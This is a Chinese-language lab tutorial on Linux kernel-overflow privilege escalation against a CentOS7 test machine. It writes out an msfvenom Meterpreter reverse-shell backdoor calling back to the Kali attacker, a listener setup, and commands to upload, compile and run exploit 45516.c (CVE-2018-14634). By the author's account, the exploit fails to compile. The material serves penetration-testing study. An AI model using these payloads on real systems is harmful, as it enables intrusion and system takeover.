[权限提升] Linux 提权 — 系统内核溢出漏洞提权

关注这个专栏的其他相关笔记:内网安全 内网渗透 - 学习手册-CSDN博客

0x01:系统内核溢出漏洞提权介绍

注意:提权很容易让系统崩溃,所以如果是测试的话,提权前最好做好系统备份。

Linux 系统内核溢出提权漏洞与之前的 Windows 内核溢出漏洞 原理都差不多,都是通过内核漏洞进行提权的,内核漏洞一般都是专门研究这些的专家发现的,我们这些小卡拉米会用就行了(后面自学一下也未尝不可)。

利用内核漏洞进行提权的基本流程如下:

  1. 对目标系统进行信息收集,获取到系统内核信息以及版本信息。

  2. 根据内核版本获取其对应的漏洞以及 EXP。

  3. 使用找到的 EXP 对目标系统发起攻击,完成提权操作。

0x02:Linux 系统内核溢出漏洞环境搭建

实验环境简介

  • 靶机 CentOS7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.100

0x0201:CentOS7 靶机新增低权限用户

既然是提权,那么我们肯定得从一个低权限用户开始提。为了防止部分读者不会为 Linux 操作系统中新增低权限用户,特意写了本小节。

首先,以 Root 用户登录 CentOS7 靶机,并输入下面的命令添加 test01 用户:

bash 复制代码
 sudo useradd test01

然后输入下面的命令,为 test01 用户指定登录密码(你不设置密码是无法登录该用户账户的),笔者设置的密码是 admin@123:

bash 复制代码
 sudo passwd test01

执行完上面两个命令后你可以通过 test01 : admin@123 这个账号来尝试登录 CentOS7 靶机:

如果你能登录成功,那么恭喜你,你已经成功设置了一个低权限用户,接下来的提权操作就是通过 test01 来完成。

0x0202:MSF 通过木马文件上线 CentOS7

登录 Kali Linux 攻击机,输入下面的命令,生成一个 Linux 后门木马文件 shell.elf :

bash 复制代码
 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=7777 -f elf > shell.elf

上面这个木马在靶机中执行后,会将靶机的控制权移交给 192.168.0.100 的 7777 端口。

木马生成完毕后,输入下面的命令在 Kali Linux 中开启本地的端口监听,等待靶机的 Shell 连接:

bash 复制代码
 msfconsole # 进入 msfconsole
 use exploit/multi/handler 
 set payload linux/x64/meterpreter/reverse_tcp 
 set lhost 192.168.0.100 
 set lport 7777 
 run

上面的准备工作完成后,我们以 test01 用户的身份拿到木马文件并运行(你可以通过在 Kali 中使用 Python 临时开放 80 下载端口,也可以将木马通过物理机上传到靶机,方法随便你,上传到靶机后执行即可):

此时回到我们 Kali Linux 的监听模块,可以看到 CentOS 7 靶机成功上线:

那么后面,就开始我们的 Linux 系统内核溢出漏洞提权实战。

0x03:Linux 系统内核溢出漏洞实战

0x0301:靶机信息收集

1. 查看当前 Shell 权限

拿到了靶机的 Shell 后,我们需要确定我们当前用户的等级,以下三条命令均可以实现这一需求:

bash 复制代码
 meterpreter > getuid
 shell > id
 shell > whoami

如上,Linux 靶机的系统权限比较容易判断,最高级别用户就是 root,你 whoami 后不是 root 用户,就证明需要提权。

2. 收集靶机系统信息

确定当前的 Shell 需要提权后,我们就要查看目标靶机的系统信息,来看看目标是否有内核漏洞。

查看靶机的系统信息可以通过以下几个命令(shell > 代表进入交互模式后才能使用的命令):

bash 复制代码
 meterpreter > sysinfo   # meterpreter 自带的系统信息收集命令
 shell > cat /etc/issue  # 查看 ubuntu 或者 centos 的版本信息
 shell > cat /etc/*-release # 查看 centos 版本信息
 shell > uname -a           # 查看系统内核全部信息
 shell > uname -r           # 查看内核版本

如上,通过收集靶机系统信息,我们得知,当前拿到的系统是 CentOS 7.9 版本的,Linux 内核版本是 3.10。

0x0302:Metasploit 提权

1. 使用 MSF 确定目标提权漏洞

MSF 中内置了提权脚本的搜索模块,我们新开一个 Kali Linux 的窗口,使用如下命令,搜索靶机中可能存在的提权漏洞及其 EXP:

bash 复制代码
 searchsploit linux kernel 3.10

如上,我们定位出了一个基本符合要求的 EXP,叫 45516.c,使用如下命令导出这个 EXP:

bash 复制代码
 searchsploit -m 45516.c  # 将 45516.c 利用 EXP 导出到当前目录

此时俺们还不知道这个东西的用法,可以通过百度 CVE-2018-14634 这个漏洞来查看其用法:

芜湖,这个利用程序需要目标内存大于 32 GB,看来本地是很难验证了,所以我们只能换一个利用的 EXP 了。

笔者简单通过百度后并没有发现适合我这个系统的提权漏洞,这个也是很正常的。为了流程的连贯性,笔者准备还是使用上面的那个 45516.c 来尝试进行提权。

2. 使用漏洞对应的 EXP 进行提权

通过上面的命令,我们将 EXP 导出到了 /home/kali/Desktop/45516.c 这个位置,接下来我们切换到 Kali 远控 CentOS7 靶机的 meterpreter 界面,将上面的 EXP 上传到靶机 tmp 目录下:

bash 复制代码
upload /home/kali/Desktop/45516.c /tmp/45516.c # 将本地的 EXP 上传到靶机中

然后输入 shell 进入交互模式,进入交互模式后,进入 tmp 目录,输入下面的命令,在靶机上编译 .c 文件并执行(不同的 EXP 用法不同,建议百度搜用法后自己整理一下):

bash 复制代码
cd /tmp               # 进入 tmp 目录
gcc 45516.c -o 45516  # 将 .c 文件利用靶机的 gcc 编译成可执行程序,如果靶机没有 gcc 你需要自己配置一台和靶机环境类似的机器,编译好程序后再上传给靶机执行
chmod +x 45516        # 为 45516 添加可执行权限
./45516               # 执行 EXP 尝试进行提权

笔者很可惜,编译这步就报错了,没能生成可执行文件:

不过 Linux 提权的整体流程就如上了,如果读者觉得有点懵,可以查看下面这篇文章,这是笔者打 VulnHub 记录的一次渗透全流程,里面的提权使用的就是 Linux 内核溢出漏洞:

拓展: 一次完整的渗透流程 - 内核提权:VulnHub - Prime - 1

相关推荐
Chengbei112 小时前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构
Esaka_Forever2 小时前
Skills安全要点总结
安全·llm
一只鹿鹿鹿4 小时前
大数据中心安全系统解决方案(Word文件)
大数据·运维·物联网·安全·政务
Fnetlink14 小时前
开源安全年度报告:2026上半年20大最具破坏性破坏事件深度复盘
安全·开源
国科安芯5 小时前
ASL706S:让 MCU 不再“失忆跑飞“的守护芯片
分布式·单片机·嵌入式硬件·安全·fpga开发·架构
AuTumn-L6 小时前
使用 SSH 密钥认证实现安全免密登录
服务器·安全·ssh
rcms152702692188 小时前
TEL 3880-200230-V1 通讯接口模块
安全
Latticy9 小时前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
九硕智慧建筑一体化厂家9 小时前
直流智能照明|全场景节能升级!打造安全低碳的智慧建筑光环境
运维·笔记·安全·智慧城市
松小鼠呀10 小时前
我不敢再生孩子:ChatGPT 曾花 $2m 让他闭嘴,AI 巨头到底隐藏了什么秘密?
人工智能·安全·chatgpt·ai编程·科技热点